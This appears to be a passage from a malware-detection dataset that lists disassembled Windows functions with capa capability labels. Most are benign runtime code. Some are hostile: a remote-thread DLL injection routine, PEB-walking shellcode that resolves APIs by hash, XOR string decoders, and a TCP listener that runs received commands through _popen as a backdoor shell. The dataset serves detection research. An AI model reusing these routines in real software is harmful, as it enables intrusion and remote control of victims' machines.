joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a420
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
call fcn.140009c88
mov esi, 0x208
mov rdi, rax
mov ecx, esi
call fcn.14000ae90
mov r8d, esi
xor edx, edx
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memset
mov r8, rbp
mov rdx, rbx
xor esi, esi
call fcn.14000a290
lea rax, [rsp + 0x30]
mov r9d, 0x20219
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000a4c4
mov rcx, qword [rsp + 0x30]
lea rdx, str.update_url
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
lea ecx, [rsi + 1]
cmove esi, ecx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbp
call fcn.14000a994
mov eax, esi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000a970
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret

Function at 0x14000a4fc
Capabilities:
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
call fcn.140009c88
mov esi, 0x208
mov rdi, rax
mov ecx, esi
call fcn.14000ae90
mov r8d, esi
xor edx, edx
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memset
mov r8, rbp
mov rdx, rbx
xor esi, esi
call fcn.14000a290
lea rax, [rsp + 0x30]
mov r9d, 0xf023f
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000a590
mov rcx, qword [rsp + 0x30]
lea rdx, str.update_url
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
lea ecx, [rsi + 1]
cmove esi, ecx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbp
call fcn.14000a994
mov eax, esi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000a970
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x14000a5c8
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rbp, r9
mov r14, r8
mov rbx, rdx
xor edi, edi
call fcn.140009c88
mov ecx, 0x208
mov r15, rax
call fcn.14000ae90
xor edx, edx
mov r8d, 0x208
mov rcx, rax
mov rsi, rax
call sub.VCRUNTIME140.dll_memset
mov r8, rsi
mov rdx, rbx
call fcn.14000a290
or rbx, 0xffffffffffffffff
inc rbx
cmp word [rbp + rbx*2], di
jne 0x14000a626
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf023f
mov rdx, rsi
mov rcx, r15
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov r9d, 0xf023f
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000a6c2
mov rcx, qword [rsp + 0x50]
lea eax, [rbx + rbx]
mov dword [rsp + 0x28], eax
mov ebx, 1
mov r9d, ebx
mov qword [rsp + 0x20], rbp
xor r8d, r8d
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, ebx
mov rcx, rsi
call fcn.14000a994
mov eax, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000a970
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret

Function at 0x14000a6f0
Capabilities:
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x140015010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r14, r8
mov rdi, rdx
call fcn.140009c88
mov esi, 0x208
mov rbx, rax
mov ecx, esi
call fcn.14000ae90
mov r8d, esi
xor edx, edx
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memset
mov r8, rbp
mov rdx, rdi
xor esi, esi
call fcn.14000a290
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000a781
mov rcx, qword [rsp + 0x30]
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
lea ecx, [rsi + 1]
cmove esi, ecx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbp
call fcn.14000a994
mov eax, esi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000a970
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
Function at 0x140011334
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400149e0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x298
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [0x140024040]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x14002a33e]
call fcn.14001161d
mov r8d, dword [rbp + 0x278]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
mov r8d, 0x104
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.1400114b0
mov rdx, qword [rbp + 0x270]
lea rcx, [rbp + 0x30]
call fcn.140011276
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x104
lea r8, [rbp + 0x30]
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x178], rax
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x158]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, [rbp - 0x40]
lea rdx, [0x1400201b0]
call fcn.140011519
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.1400112f3
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret

Function at 0x14001136b
Capabilities:
Terminate process

Disassembly:
jmp 0x140017da0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011451
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400191d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400191f0
xor al, al
jmp 0x140019271
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019203
xor al, al
jmp 0x140019271
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001922d
xor al, al
jmp 0x140019271
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140019241
xor al, al
jmp 0x140019271
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140019253
xor al, al
jmp 0x140019271
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001926f
xor al, al
jmp 0x140019271
mov al, 1
add rsp, 0x38
ret
Function at 0x140010c94
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x25], 0
mov rdx, rcx
je 0x140010cc7
xor r8d, r8d
mov cl, r8b
movabs rax, 0x61a7ddf587214d1b
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0x25
jb 0x140010ca0
mov byte [rdx + 0x25], 0
mov rax, rdx
ret

Function at 0x140010ccc
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
mov rdx, rcx
je 0x140010cff
xor r8d, r8d
mov cl, r8b
movabs rax, 0x33936bbb8fbf972b
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 9
jb 0x140010cd8
mov byte [rdx + 9], 0
mov rax, rdx
ret

Function at 0x140010d04
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0xd], 0
mov rdx, rcx
je 0x140010d37
xor r8d, r8d
mov cl, r8b
movabs rax, 0xb5e3ff6f79e787bf
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0xd
jb 0x140010d10
mov byte [rdx + 0xd], 0
mov rax, rdx
ret

Function at 0x140010d3c
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 9], 0
mov rdx, rcx
je 0x140010d6f
xor r8d, r8d
mov cl, r8b
movabs rax, 0x717f5d0f8b9d9be7
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 9
jb 0x140010d48
mov byte [rdx + 9], 0
mov rax, rdx
ret
Function at 0x2915f4950
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2915f5352
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x29167d108]
test eax, eax
je 0x2915f53ea
lea rax, [0x29167d0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x29167d110]
mov qword [rbp - 8], rax
jmp 0x2915f53ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2915f53c2
cmp qword [rbp - 0x10], 0
je 0x2915f53c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2915f5388
lea rax, [0x29167d0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2915f53eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2915f54f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2915f5518
mov eax, 0
jmp 0x2915f5566
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2915f5541
mov eax, 0
jmp 0x2915f5566
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2915f5561
mov eax, 0
jmp 0x2915f5566
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2915f556c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2915f55ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2915f55e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2915f55e1
mov rax, qword [rbp - 8]
jmp 0x2915f55ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2915f55b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
push rcx
push rsi
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
push r9
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov ecx, dword [rax + 0x18]
push rax
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
pop rsi
add rax, rdx
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a7f0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a800]
mov dword [rax], 1
mov rax, qword [0x14000a810]
mov dword [rax], 1
mov rax, qword [0x14000a7a0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a7e0]
mov dword [0x14000e00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000a8c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000a8a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a750]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400015ce
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration
Start tcp server

Disassembly:
push rbp
mov eax, 0x5210
call fcn.140002930
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x4fd0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x5188], rax
mov dword [rbp + 0x4fcc], 1
lea rdx, [rbp + 0x4fcc]
mov rax, qword [rbp + 0x5188]
mov dword [rsp + 0x20], 4
mov r9, rdx
mov r8d, 4
mov edx, 0xffff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_setsockopt]
call rax
mov word [rbp + 0x4fb0], 2
mov ecx, 0
mov rax, qword [sym.imp.WS2_32.dll_htonl]
call rax
mov dword [rbp + 0x4fb4], eax
mov ecx, 0x22bc
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x4fb2], ax
lea rdx, [rbp + 0x4fb0]
mov rax, qword [rbp + 0x5188]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_bind]
call rax
mov rax, qword [rbp + 0x5188]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_listen]
call rax
mov rax, qword [rbp + 0x5188]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_accept]
call rax
mov qword [rbp + 0x5180], rax
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x5180]
mov r9d, 0
mov r8d, 0x7ff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x517c], eax
cmp dword [rbp + 0x517c], 0
jle 0x140001840
mov eax, dword [rbp + 0x517c]
cdqe
mov byte [rbp + rax - 0x50], 0
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.block
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001751
call sym.block
jmp 0x140001840
lea rax, [rbp - 0x50]
mov rdx, rax
lea rax, str.unblock
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001775
call sym.unblock
jmp 0x140001840
lea rax, [rbp - 0x50]
lea rdx, [0x14000a05e]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x5170], rax
lea rax, [rbp + 0xfb0]
mov edx, 0x4000
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x1400017c7
lea rdx, [rbp + 0x7b0]
lea rax, [rbp + 0xfb0]
mov rcx, rax
call sym.strcat
mov rdx, qword [rbp + 0x5170]
lea rax, [rbp + 0x7b0]
mov r8, rdx
mov edx, 0x800
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x1400017b1
mov rax, qword [rbp + 0x5170]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
lea rax, str.Exiting
mov rcx, rax
call sym.printf
lea rax, [rbp + 0xfb0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0xfb0]
mov rax, qword [rbp + 0x5180]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x5180]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x5188]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
jmp 0x140001601
Function at 0x140001b90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001c00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e104]
mov rbx, rcx
test esi, esi
jle 0x140001d30
mov rax, qword [0x14000e108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001c4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001cd5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001c30
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001d52
mov rax, qword [0x14000e108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001cce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001ce0
add dword [0x14000e104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001cce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001c58
mov rax, qword [0x14000e108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400022c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e140]
test rbx, rbx
je 0x14000231c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002313
test rsi, rsi
je 0x140002313
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002530
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002548
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002550
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002560
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400025ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400025a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400025af
add rax, 0x28
cmp rax, r9
jne 0x140002590
xor eax, eax
ret

Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002640
mov rdx, qword [0x14000a7a0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000262e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000262e
cmp word [rax + 0x18], 0x20b
jne 0x14000262e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002640
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002619
add rbx, 0x28
cmp rbx, rdi
je 0x140002640
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002610
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002650
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a7a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002670
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002678
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002670
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400026cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400026c4
